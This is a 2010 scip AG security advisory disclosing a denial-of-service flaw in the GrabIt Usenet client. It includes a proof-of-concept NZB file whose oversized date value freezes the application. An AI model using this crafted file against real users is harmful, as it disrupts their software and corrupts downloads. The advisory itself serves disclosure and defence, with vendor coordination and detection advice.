Shemes Grabbit NZB Date Denial Of Service

`Shemes Grabbit Malicious NZB Date Denial of Service  
  
scip AG Vulnerability ID 4143 (07/08/2010)  
http://www.scip.ch/?vuldb.4143  
  
I. INTRODUCTION  
  
Grabbit is a popular freeware client for binary Usenet interaction.  
  
More information is available on the official web site at the following URL:  
  
http://www.shemes.com/index.php?p=download  
  
II. DESCRIPTION  
  
Marc Ruef at scip AG found a denial of service vulnerability in the  
current release up to GrabIt 1.7.2 ßeta 4.  
  
An attacker is able to provide a malicious nzb file which will cause a  
freeze of the application.  
  
III. EXPLOITATION  
  
The attack requires a malicious nzb file which includes a file reference  
with a very large date value. This is a simplified example:  
  
<?xml version="1.0" encoding="ISO-8859-1"?>  
  
<!DOCTYPE nzb PUBLIC "-//newzBin//DTD NZB 1.0//EN"  
"http://www.newzbin.com/DTD/nzb/nzb-1.0.dtd">  
<nzb xmlns="http://www.newzbin.com/DTD/2003/nzb">  
  
<file subject="poc" date="1000000000000000" poster="maru">  
<groups><group>non.existing.group</group></groups>  
<segments>  
<segment number="1" bytes="42">[email protected]</segment>  
</segments>  
</file>  
  
</nzb>  
  
IV. IMPACT  
  
During the import of the malicious nzb file the application will freeze.  
Further interaction with the software is not possible anymore. Ongoing  
downloads will be corrupted or lost. It is required to kill the process  
and to re-launch the application.  
  
V. DETECTION  
  
A pre-parsing of nzb files prior import might help to determine  
malicious files. In this case the data value is well-defined and could  
be sanitized easily.  
  
VI. SOLUTION  
  
No workaround or solution known at the moment.  
  
It is suggested to use nzb files from trusted sources only or to use  
another Usenet client.  
  
VII. VENDOR RESPONSE  
  
The issue has been reported to the vendor via the online bug tracking  
system.  
  
After exchange of technical details the vendor informed that a  
re-written client will be released in the next few months.  
  
VIII. SOURCES  
  
scip AG - Security is our Business (german)  
http://www.scip.ch  
  
scip AG - Vulnerability Database (german)  
http://www.scip.ch/?vuldb.4143  
  
computec.ch Document Database (german)  
http://www.computec.ch  
  
IX. DISCLOSURE TIMELINE  
  
2010/02/20 Identification of the vulnerability  
2010/02/21 Notification of Shemes.com via online bug tracking  
2010/02/21 Acknowledgement of the issue by Ilan  
2010/02/21 Providing the PoC to verify the vulnerability  
2010/04/09 Update of the current development status  
2010/07/08 Public disclosure of the advisory  
  
X. CREDITS  
  
The vulnerability has been discovered by Marc Ruef.  
  
Marc Ruef, scip AG, Zuerich, Switzerland  
maru-at-scip.ch  
http://www.scip.ch  
  
A1. LEGAL NOTICES  
  
Copyright (c) 2002-2010 scip AG, Switzerland.  
  
Permission is granted for the re-distribution of this alert. It may not  
be edited in any way without permission of scip AG.  
  
The information in the advisory is believed to be accurate at the time  
of publishing based on currently available information. There are no  
warranties with regard to this information. Neither the author nor the  
publisher accepts any liability for any direct, indirect or  
consequential loss or damage from use of or reliance on this advisory.  
`